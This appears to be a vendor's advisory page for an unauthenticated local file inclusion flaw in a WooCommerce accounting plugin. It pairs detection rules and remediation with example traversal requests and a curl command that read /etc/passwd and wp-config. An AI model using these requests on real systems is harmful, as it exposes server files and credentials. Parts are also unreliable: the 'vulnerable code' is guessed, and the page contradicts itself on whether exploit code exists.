CVE-2025-30835
Executive Summary
CVE-2025-30835 is a critical PHP Local File Inclusion (LFI) vulnerability in the WordPress plugin Accounting for WooCommerce by Bastien Ho, affecting all versions up to and including 1.6.8. The vulnerability stems from improper control of filenames used in include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), source code leakage, and potential remote code execution if combined with file upload capabilities. The CVSS score of 7.5 (High) reflects the ease of exploitation and high confidentiality impact. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the plugin is directly affected. The vendor (Bastien Ho) has not released a patch, and the plugin may be abandoned. Users should consider this a supply chain compromise vector and immediately remove or replace the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Affects only the vulnerable component.
- Confidentiality (C): High (H) – Full file read possible.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The lack of authentication and low complexity make this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability exists in the plugin's PHP code where user-supplied input is used to construct a file path for inclusion via include() or require(). The plugin likely processes a GET or POST parameter (e.g., page, tab, action) without proper sanitization or path traversal checks. An attacker can inject directory traversal sequences (e.g., ../../) to include arbitrary files from the server's filesystem.
Example vulnerable code pattern:
$page = $_GET['page'];
include(plugin_dir_path(__FILE__) . 'pages/' . $page . '.php');
An attacker could supply page=../../../../wp-config to read the WordPress configuration file.
Vulnerable vs. Patched Code
Vulnerable (<= 1.6.8):
$file = $_GET['file'];
include( $file . '.php' );
No validation or sanitization of the $file parameter.
Patched (hypothetical):
$allowed_files = array('dashboard', 'reports', 'settings');
$file = basename( $_GET['file'] );
if ( in_array( $file, $allowed_files ) ) {
include( plugin_dir_path(__FILE__) . 'pages/' . $file . '.php' );
} else {
wp_die('Invalid file.');
}
The patch would use a whitelist and basename() to prevent traversal.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with Accounting for WooCommerce <= 1.6.8 installed and activated.
- No authentication required.
Exploitation Steps:
- Identify the vulnerable parameter (likely
page,tab, orfile). - Craft a request with path traversal to read sensitive files.
Example request:
GET /wp-admin/admin.php?page=../../../../../../etc/passwd HTTP/1.1
Host: target.com
Or for WordPress config:
GET /wp-admin/admin.php?page=../../../../wp-config HTTP/1.1
Host: target.com
Automated scanning with curl:
curl -v "http://target.com/wp-admin/admin.php?page=../../../../../../etc/passwd"
Note: No public exploit code is available; this is a manual technique.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for directory traversal patterns in query strings (e.g.,
../,%2e%2e/). - Look for requests to
admin.phpwith unusualpageparameters. - Use WAF rules to block path traversal sequences.
Hardening:
- Immediately disable or remove the plugin.
- If removal is not possible, apply a virtual patch via WAF (e.g., ModSecurity rule).
- Restrict file inclusion to a whitelist of allowed files.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
page=..or%2e%2e%2fin the query string. - Requests to
/wp-admin/admin.phpwith suspiciouspageparameters. - Outbound connections from the server to attacker-controlled hosts (if RCE is achieved).
- HTTP requests containing
File System IOCs:
- Unexpected inclusion of files like
/etc/passwd,wp-config.php, or other sensitive files in PHP error logs. - Presence of webshells or backdoors in the web root.
- Unexpected inclusion of files like
Log IOCs:
- Apache/Nginx access logs showing
200 OKresponses to path traversal attempts. - PHP error logs with
include()failures or warnings.
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_30835_LFI_Detection {
meta:
description = "Detects LFI attempts targeting Accounting for WooCommerce plugin"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-30835"
strings:
$traversal1 = "page="
$traversal2 = "file="
$traversal3 = "../"
$traversal4 = "..\\"
$traversal5 = "%2e%2e"
$wp_admin = "wp-admin/admin.php"
condition:
any of ($traversal*) and $wp_admin
}
Sigma Rule
title: CVE-2025-30835 LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Accounting for WooCommerce plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'page=../'
- 'page=%2e%2e'
- 'file=../'
- 'file=%2e%2e'
cs-uri-stem|contains: '/wp-admin/admin.php'
condition: selection
falsepositives:
- Legitimate use of similar parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30835 LFI Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/(%2e%2e%2f|\.\.\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the Accounting for WooCommerce plugin from all WordPress installations.
- Apply a virtual patch using a Web Application Firewall (WAF) to block path traversal patterns.
- Review server logs for signs of exploitation (e.g., unusual file reads).
Long-term Fix:
- Since no official patch exists, consider migrating to an alternative WooCommerce accounting plugin.
- If the plugin is critical, fork the code and implement proper input validation (whitelist allowed files, use
basename(), and restrict to plugin directory).
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
- Enable file integrity monitoring on critical system files.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.